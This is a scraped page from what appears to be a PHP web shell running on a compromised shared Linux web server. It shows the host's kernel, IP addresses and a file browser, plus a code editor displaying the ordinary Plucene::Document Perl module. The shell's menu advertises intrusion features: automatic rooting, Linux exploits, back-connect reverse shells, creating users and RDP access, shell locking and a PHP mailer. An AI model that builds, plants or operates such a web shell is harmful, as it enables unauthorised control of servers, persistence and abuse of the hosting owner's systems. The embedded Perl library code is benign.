Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Plucene /
[ HOME SHELL ]
Name
Size
Permission
Action
Analysis
[ DIR ]
drwxr-xr-x
Document
[ DIR ]
drwxr-xr-x
Index
[ DIR ]
drwxr-xr-x
Search
[ DIR ]
drwxr-xr-x
Store
[ DIR ]
drwxr-xr-x
Bitvector.pm
2.04
KB
-rw-r--r--
Document.pm
1.44
KB
-rw-r--r--
QueryParser.pm
6.54
KB
-rw-r--r--
TestCase.pm
3.42
KB
-rw-r--r--
Utils.pm
702
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Document.pm
package Plucene::Document; =head1 NAME Plucene::Document - The unit of indexing and searching =head1 SYNOPSIS my $document = Plucene::Document->new; $document->add( Plucene::Document::Field $field); my Plucene::Document::Field $field = $document->get($field_name); my Plucene::Document::Fields @fields = $document->fields; =head1 DESCRIPTION Documents are the unit of indexing and search, and each document is a set of fields. Each field has a name and a textual value. A field may be stored with the document, in which case it is returned with search hits on the document. Thus each document should typically contain stored fields which uniquely identify it. =head1 METHODS =cut use strict; use warnings; use base 'Class::Accessor::Fast'; __PACKAGE__->mk_accessors(); # For new =head2 get my Plucene::Document::Field $field = $document->get($field_name); This returns the Plucene::Document::Field object of the field with the given name if any exist in this document, or null. =cut sub get { my ($obj, $field) = @_; return ($obj->{$field} || [])->[-1]; } =head2 add $document->add( Plucene::Document::Field $field); This will add a field to the document. =cut sub add { my ($obj, $field) = @_; push @{ $obj->{ $field->name } }, $field; } =head2 fields my Plucene::Document::Field @fields = $document->fields; This returns an list of all the fields in a document. =cut sub fields { map @$_, values %{ +shift } } 1;
Close